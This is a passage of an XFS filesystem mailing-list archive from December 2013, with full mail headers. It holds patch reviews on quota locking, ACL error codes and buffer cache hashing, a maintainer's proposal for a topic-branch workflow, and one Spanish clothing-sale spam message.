description ---- ---------------------- -------------------------------------------------- Looks good, Reviewed-by: Christoph Hellwig From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 07:30:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F3CFB7F85 for ; Fri, 13 Dec 2013 07:30:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E132F30406B for ; Fri, 13 Dec 2013 05:30:24 -0800 (PST) X-ASG-Debug-ID: 1386941414-04cbb0416670c070001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id WwQkGzVWK5RG41zR (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 05:30:15 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrSml-0004cu-Hq; Fri, 13 Dec 2013 13:28:07 +0000 Date: Fri, 13 Dec 2013 05:28:07 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/3] xfs: xfs_qm_dqrele mostly doesn't need locking Message-ID: <20131213132807.GB13689@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 4/3] xfs: xfs_qm_dqrele mostly doesn't need locking References: <1386841258-22183-1-git-send-email-david@fromorbit.com> <20131212102507.GX10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131212102507.GX10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386941415 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143066 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 09:25:07PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > Now that we have an atomic variable for the reference count, we > don't need to take the dquot lock if we are not removing the last > reference count. The dquot lock is a mutex, so we can't use > atomic_dec_and_lock(), but we can open code it in xfs_qm_dqrele and > hence avoid the dquot lock for most of the cases where we drop a > reference count. > > The result is that concurrent file creates jump from 24,000/s to > 28,000/s, and the entire workload is now serialised on the dquot > being locked during transaction commit. Another significant win, > even though it's not the big one... Maybe I'm missing something, but shou;dn't the following be enough to be a valid dqput (plus asserts & tracing): if (atomic_dec_and_test(&dqp->q_nrefs)) { if (list_lru_add(&mp->m_quotainfo->qi_lru, &dqp->q_lru)) XFS_STATS_INC(xs_qm_dquot_unused); } given that the only locking we need is the internal lru lock? > > While there, rename xfs_qm_dqrele to xfs_dqrele - the "qm" part of > the name means nothing and just makes the code harder to read. Please keep that out of the patch. I don't mind dropping the qm_ part, but there's a lot of functions that have it, and it should be done for all of them at the same time. From jeff.liu@oracle.com Fri Dec 13 07:33:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D861929DF8 for ; Fri, 13 Dec 2013 07:33:17 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C53C5304059 for ; Fri, 13 Dec 2013 05:33:11 -0800 (PST) X-ASG-Debug-ID: 1386941562-04cb6c537e70cec0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id p2zrGFIremQhRQMi (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 05:32:43 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBDDWIID021209 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 13 Dec 2013 13:32:19 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBDDWHPT018781 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 Dec 2013 13:32:18 GMT Received: from abhmp0011.oracle.com (abhmp0011.oracle.com [141.146.116.17]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBDDWHj1018775; Fri, 13 Dec 2013 13:32:17 GMT Received: from [192.168.1.105] (/114.248.199.38) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 13 Dec 2013 05:32:17 -0800 Message-ID: <52AB0C59.4070904@oracle.com> Date: Fri, 13 Dec 2013 21:32:09 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Christoph Hellwig , Ben Myers CC: Eric Sandeen , "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: return ENOSPC when trying to set more ACLs than XFS_ACL_MAX_ENTRIES References: <52921D12.7040104@oracle.com> <5292C557.9020008@sandeen.net> <5292D8AB.5080003@oracle.com> <20131211193622.GG1935@sgi.com> <20131213130432.GB22594@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: return ENOSPC when trying to set more ACLs than XFS_ACL_MAX_ENTRIES In-Reply-To: <20131213130432.GB22594@infradead.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386941563 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143066 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/13 2013 21:04 PM, Christoph Hellwig wrote: > On Wed, Dec 11, 2013 at 01:36:22PM -0600, Ben Myers wrote: >>>> (I guess looking at ext4, it uses ENOSPC for some similar constraints, >>>> so maybe three is precedent for this) >>> Btrfs also uses ENOSPC, but JFS would return something like "Argument list too long" >>> in this case. > > I think ENOSPC is a really bad idea in this case, but I also think we > should make sure Linux filesystems behave unfiformly. > > Jeff, can you write a summary of the errors returned by all common > filesystems and post it to -fsdevel for comment? We should have a > common error for this, and I'd be a happier man if it weren't ENOSPC, > but that's secondary. Yep, let me gather up those info... Thanks, -Jeff From ventas.scz@onsite.com.bo Fri Dec 13 07:36:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.9 required=5.0 tests=FREEMAIL_FORGED_REPLYTO, FREEMAIL_REPLYTO,HTML_IMAGE_ONLY_32,HTML_MESSAGE,SUBJ_ALL_CAPS, UPPERCASE_50_75 autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7296529DF8 for ; Fri, 13 Dec 2013 07:36:58 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5A693304071 for ; Fri, 13 Dec 2013 05:36:44 -0800 (PST) X-ASG-Debug-ID: 1386941778-04cbb0416770c540001-w1Z2WR Received: from OSAD01.onsite.com.bo (osad01.onsite.com.bo [190.186.111.118]) by cuda.sgi.com with ESMTP id gAXOMEFXz4P0AFPF for ; Fri, 13 Dec 2013 05:36:19 -0800 (PST) X-Barracuda-Envelope-From: ventas.scz@onsite.com.bo X-Barracuda-Apparent-Source-IP: 190.186.111.118 Received: from osad01 ([190.186.111.118]) by OSAD01.onsite.com.bo with Microsoft SMTPSVC(6.0.3790.4675); Fri, 13 Dec 2013 09:31:23 -0400 From: "POLERAS PERUANAS DE PRIMERA CALIDAD" Subject: HAGA SU PEDIDO CON ANTICIPACION EN ESTAS FIESTAS To: "linux-xfs" X-ASG-Orig-Subj: HAGA SU PEDIDO CON ANTICIPACION EN ESTAS FIESTAS Content-Type: multipart/alternative; boundary="7IjDKHrf=_VTQO9NH16o107ryIyMIy6adt" MIME-Version: 1.0 Reply-To: "=?UTF-8?B?UG9sZXJhcyBkZSBuacOxb3M=?=" Organization: ONSITE Date: Fri, 13 Dec 2013 09:31:23 -0400 Message-ID: X-OriginalArrivalTime: 13 Dec 2013 13:31:23.0328 (UTC) FILETIME=[9D9FD400:01CEF807] X-Barracuda-Connect: osad01.onsite.com.bo[190.186.111.118] X-Barracuda-Start-Time: 1386941779 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.13 X-Barracuda-Spam-Status: No, SCORE=2.13 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_ONLY_32, HTML_MESSAGE, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2, UPPERCASE_50_75, UPPERCASE_50_75_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143066 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_IMAGE_ONLY_32 BODY: HTML: images with 2800-3200 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 UPPERCASE_50_75 message body is 50-75% uppercase 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.62 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 0.49 UPPERCASE_50_75_2 message body is 50-75% uppercase This is a multi-part message in MIME format --7IjDKHrf=_VTQO9NH16o107ryIyMIy6adt Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline VENTA DE POLERAS, CALZAS, GORRAS CON DISE=C3=91OS DE TUS HEROES FAVORITOS TENEMOS EN TODAS LAS TALLAS, MANGA CORTA, MANGA LARGA Y MANGA CERO ENVIO A DOMICILIO SIN RECARGO PRECIO DESDE 80 Bs.(Manga Cero), 100 Bs. (Manga Corta), Y 120 BS(Manga= Larga),=20 DISE=C3=91OS DE: DOKI, CARS, BEN10, MARIO, AVENGERS, ANGRY BIRDS (Spac= e, Star Wars, Heroes, etc.), SPIDERMAN, NINJAS, PLANTS Vs ZOMBIES, MONSTER HIGH, MINIE, TINKER BELL= , PRINCESAS, ETC. LOS DISE=C3=91OS SON DE ALTA CALIDAD, ALUMBRAN DE NOCHE, SE PUEDE METE= R A LA LAVADORA, NO SE DESPINTAN, NO SE ESTIRAN, NO SE RAJAN NI SE DESPRENDEN - GARANTI= ZADOS HAGA SU PEDIDO AL 71331700 - 71331500 - 3538163 O Escribanos a: ventas.scz@hotmail.com - mariadelcarmenbarreto@hotmail= =2Ecom =20 =20 =20 =20 Para desuscribirse de nuestras listas por favor escribanos a: remover@= onsite.com.bo MUCHAS GRACIAS POR RECIBIR NUESTRA PUBLICIDAD --7IjDKHrf=_VTQO9NH16o107ryIyMIy6adt Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline

    VENTA DE POLERAS, CALZAS, GOR= RAS

    CON DISE=C3=91OS DE TUS HEROE= S FAVORITOS

    TENEMOS EN TODAS LAS TALLAS, MANGA CORTA, MANGA LARG= A Y MANGA CERO

    ENVIO A DOMICILIO SIN = RECARGO

    PRECIO DESDE 80 Bs.(Manga Cero), 100 Bs. (Manga Cort= a), Y 120 BS(Manga Larga),

    DISE=C3=91OS DE: DOKI,= CARS, BEN10, MARIO, AVENGERS, ANGRY BIRDS (Space, Star Wars, Heroes, = etc.),

    SPIDERMAN, NINJAS, PLA= NTS Vs ZOMBIES, MONSTER HIGH, MINIE, TINKER BELL, PRINCESAS, ETC.

    LOS DISE=C3=91OS SON D= E ALTA CALIDAD, ALUMBRAN DE NOCHE, SE PUEDE METER A LA LAVADORA,

    NO SE DESPINTAN, NO SE= ESTIRAN, NO SE RAJAN NI SE DESPRENDEN - GARANTIZADOS

    HAGA SU PEDIDO AL 7133= 1700  -  71331500 - 3538163

    O Escribanos a: venta= s.scz@hotmail.com - maria= delcarmenbarreto@hotmail.com

    3D"" 3D"" 3D""

    3D"" 3D"" 3D""

    3D"" 3D"" 3D""

    3D"" 3D"" 3D""

    Para desuscribirse de nuestras listas por favor escr= ibanos a: remover@onsite.com.= bo

    MUCHAS GRACIAS POR RECIBIR NUESTRA PUBLICIDAD

     

     

     

    --7IjDKHrf=_VTQO9NH16o107ryIyMIy6adt-- From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 07:38:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7BD8529E04 for ; Fri, 13 Dec 2013 07:38:16 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 636CE8F8040 for ; Fri, 13 Dec 2013 05:38:10 -0800 (PST) X-ASG-Debug-ID: 1386941865-04cb6c537e70d2b0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id lPDEAQbk5YAiKUOr (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 05:37:48 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrSw5-00075n-Fv; Fri, 13 Dec 2013 13:37:45 +0000 Date: Fri, 13 Dec 2013 05:37:45 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] xfs: xfs_trans_dqresv() can be made lockless Message-ID: <20131213133745.GC13689@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs: xfs_trans_dqresv() can be made lockless References: <1386841258-22183-1-git-send-email-david@fromorbit.com> <1386841258-22183-4-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386841258-22183-4-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386941868 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143066 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 08:40:58PM +1100, Dave Chinner wrote: > From: Dave Chinner > > xfs_trans_dqresv() serialises dquot modifications by taking the > dquot lock while it is doing reservations. The thing is, nothing it > does really requires exclusive access to the dquot except for the > reservation accounting. We can do that locklessly with cmpxchg. Can you split the various refactorings into separate patches to make this more readable? > +do_ninos: > + if (ninos == 0) > + goto do_trans; > + > + smp_mb(); > + timer = be32_to_cpu(dqp->q_core.d_itimer); > + warns = be16_to_cpu(dqp->q_core.d_iwarns); > + warnlimit = dqp->q_mount->m_quotainfo->qi_iwarnlimit; > + hardlimit = be64_to_cpu(dqp->q_core.d_ino_hardlimit); > + if (!hardlimit) > + hardlimit = q->qi_ihardlimit; > + softlimit = be64_to_cpu(dqp->q_core.d_ino_softlimit); > + if (!softlimit) > + softlimit = q->qi_isoftlimit; > + resbcountp = &dqp->q_res_icount; > + > + oldcnt = xfs_dqresv_cmpxchg(mp, dqp, resbcountp, ninos, false, enforce, > + hardlimit, softlimit, timer, warns, > + warnlimit); > + if (oldcnt == (xfs_qcnt_t)-1ULL) > + goto error_undo_nblks; > + > +do_trans: Instead of having all these goto labels maye this should be factored into helpers for each of the stages? > if (udqp) { > + enforce = !(flags & XFS_QMOPT_FORCE_RES) && > + udqp->q_core.d_id && XFS_IS_UQUOTA_ENFORCED(mp); > error = xfs_trans_dqresv(tp, mp, udqp, nblks, ninos, > - (flags & ~XFS_QMOPT_ENOSPC)); > + (flags & ~XFS_QMOPT_ENOSPC), enforce); I have to say I'd much prefer having the enforcement decision hidden inside xfs_trans_dqresv. > if (error) > return error; > } > > if (gdqp) { > - error = xfs_trans_dqresv(tp, mp, gdqp, nblks, ninos, flags); > + enforce = !(flags & XFS_QMOPT_FORCE_RES) && > + gdqp->q_core.d_id && XFS_IS_GQUOTA_ENFORCED(mp); > + error = xfs_trans_dqresv(tp, mp, gdqp, nblks, ninos, flags, > + enforce); > if (error) Unrelated to the patch: why do we clear XFS_QMOPT_ENOSPC for user quotas, but not for project quotas here? From bfoster@redhat.com Fri Dec 13 07:43:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4FD6329E04 for ; Fri, 13 Dec 2013 07:43:58 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3C6508F8066 for ; Fri, 13 Dec 2013 05:43:49 -0800 (PST) X-ASG-Debug-ID: 1386942208-04cb6c537d70d6f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id mE91G0YET5X8VcbL for ; Fri, 13 Dec 2013 05:43:30 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBDDgQi6020381 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 13 Dec 2013 08:42:26 -0500 Received: from laptop.bfoster (vpn-48-217.rdu2.redhat.com [10.10.48.217]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id rBDDgP3W004390 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 13 Dec 2013 08:42:25 -0500 Message-ID: <52AB0EC1.4000500@redhat.com> Date: Fri, 13 Dec 2013 08:42:25 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [RFC] Handling of reviewed patch series References: <20131213053611.GQ10988@dastard> X-ASG-Orig-Subj: Re: [RFC] Handling of reviewed patch series In-Reply-To: <20131213053611.GQ10988@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386942210 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/13/2013 12:36 AM, Dave Chinner wrote: > Hi folks, > ... > What I'd like to do is publish each of the reviewed branch in the > XFS git repos on oss.sgi.com as completed and ready-to-go code. This > is a bit different to what we do now - normally Ben would come along > and merge the series straight into the master branch, then update > the for-next branch to point at it. > > The issue with this is that it then makes our lives more difficult > when we get a bug fix that has to go into the master branch and be > sent to linus for an -rc kernel before all the development code that > is already checked into the master branch. > > What I propose is that the xfs-oss/master branch tracks the Linus > -rc1 releases, and we never check code directly into the master > branch except in exceptional circumstances. i.e. we try to only > ever pull back down from Linus into it. Exceptional circumstances > would be work that causes widespread rebasing, like all of the > structural rework that we've done recently. The structural work > would go into the master branch immediately after a -rc1 update, and > the next cycle's work and topic branches then based on top of that. > > What this means is that the "for-next" branch is no longer based > on the master branch - it becomes the development branch we work on, > and is effectively a merge of all the topic branches. i.e like the > -next tree, it is a branch that can be rebased without impacting the > history of the code in the topic branches because it's just a merge > target. > Is the merge of a topic branch into the for-next branch a maintainer duty formality here, or another "phase" we're introducing into the development process? IOW, a developer submits patches and said patches are reviewed and merged into a topic branch. What/when/how is said topic branch merged into the for-next for impending upstream merge? I don't see the existence of such branches as a big issue. In fact, it would be nice to see a sort of a high/feature level index of what kind of things are outstanding for a release, or to be able to narrow down a regression into a particular set, etc. A more granular workflow doesn't necessarily hurt if the maintainer(s) see it as worth the extra steps. On the flipside, topic branches alone make it harder for a non-maintainer to actually test the whole of a release. Is it up to the developer to merge all of the topic branches to actually test everything and actively maintain that relationship as things change on the maintainer end? Or are these patches pulled into a topic branch and merged onto for-next at the same time? Brian > What this means is that development can be done against the master > branch without fear of conflicting with other changes that are being > done. Testing, however, can target the for-next branch, and local > integration testing can be done simply by merging a local topic > branch into a local for-next branch.... > > Lines of development that overlap will generate conflicts at > the for-next branch merge, and at that point we can decide how to > deal with the problem. e.g. turn the conflicting topic branches into > a single, larger topic branch, live with it, etc. > > When it comes to sending code upstream to Linus, we can either send > a pull request per topic branch - Linus often likes to do merges > himself - or we can merge them all into a single branch and ask > Linus to pull that. The deciding factor may well be Linus himself... > > However, what this structure means is that urgent bugs fixes canbe > placed into their own topic branches - an "urgent-*" prefix is often > used for these by other maintainers - and Linus can pull directly > from the topic branch without us having to worry about > cherry-picking out of the middle of the master branch and all the > pain that entails. > > It also allows us much more flexibility in managing the > code and how it is send upstream. It also makes it possible to push > code earlier for wider testing without being stuck with that code > forever - it's trivial to drop a topic branch if it causes > unexpected regressions or problems without leaving nasty reverts all > over the history. > > Yes, this is a bit of a change in the way we do things, but it > aligns much more closely to the distributed nature of how we develop > the code. I'm going to push the two topic branches I mentioned above > into the oss repository so people can have a look at them and get a > feel for how such a process might work and so we can reference them > during the discussion. > > Essentially, I want to speed up the rate at which we get code > integrated without the risk of making a big mess by committing to > code too quickly. Keeping code in topic branches like this solves > that problem, and the fact that it closely aligns to my normal > workflow makes it very appealing to me as a Maintainer.... > > Keep in mind that I want to do the same thing for major pieces of > work with xfstests and xfsprogs - keep work in topic branches until > they are tested and ready to go, then merge everything into the master > branch and cut a release. This would enable a much faster xfsprogs > release schedule because we make a release at any point in time > without having to worry about whether we have work in progress in > the master branch that needs completing before a release is done... > > Anyway, have a think and discuss - I'm going to push the branches I > mentioned above.... > > Cheers, > > Dave. > From bfoster@redhat.com Fri Dec 13 08:23:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EFF6C29E04 for ; Fri, 13 Dec 2013 08:23:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E162F8F8070 for ; Fri, 13 Dec 2013 06:23:35 -0800 (PST) X-ASG-Debug-ID: 1386944615-04cbb0416670e280001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id oFEjA2lCQw5P5Fdo for ; Fri, 13 Dec 2013 06:23:35 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBDENWBr004190 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 13 Dec 2013 09:23:32 -0500 Received: from laptop.bfoster (vpn-48-217.rdu2.redhat.com [10.10.48.217]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rBDENVos027544 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 Dec 2013 09:23:32 -0500 Message-ID: <52AB1863.9070404@redhat.com> Date: Fri, 13 Dec 2013 09:23:31 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 4/5] libxfs: buffer cache hashing is suboptimal References: <1386832945-19763-1-git-send-email-david@fromorbit.com> <1386832945-19763-5-git-send-email-david@fromorbit.com> <52AA078E.90800@redhat.com> <20131212205657.GA10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/5] libxfs: buffer cache hashing is suboptimal In-Reply-To: <20131212205657.GA10988@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386944615 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/12/2013 03:56 PM, Dave Chinner wrote: > On Thu, Dec 12, 2013 at 01:59:26PM -0500, Brian Foster wrote: >> On 12/12/2013 02:22 AM, Dave Chinner wrote: >>> From: Dave Chinner >>> >>> The hashkey calculation is very simplistic,and throws away an amount >>> of entropy that should be folded into the hash. The result is >>> sub-optimal distribution across the hash tables. For example, with a >>> default 512 entry table, phase 2 results in this: >>> >> ... >>> Modify the hash to be something more workable - steal the linux >>> kernel inode hash calculation and try that: >>> >> ... >>> >>> Kinda says it all, really... >>> >>> Signed-off-by: Dave Chinner >>> --- >> >> Results look nice and the algorithm seems to match the kernel variant, >> but what about the 32-bit alternate prime/cache line values? Safe to >> leave out..? > > The buffer cache uses a 64 bit key, regardless of the platform. > Therefore the 64 bit variant is always needed. The kernel inode hash > uses a 32 bit key on 32 bit systems, which is why there are two > variants for it. > Ah.. xfs_bufkey->blkno is an xfs_daddr_t, which is an __int64_t. Thanks. Reviewed-by: Brian Foster > Cheers, > > Dave. > From zwu.kernel@gmail.com Fri Dec 13 08:28:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4E2A37F60 for ; Fri, 13 Dec 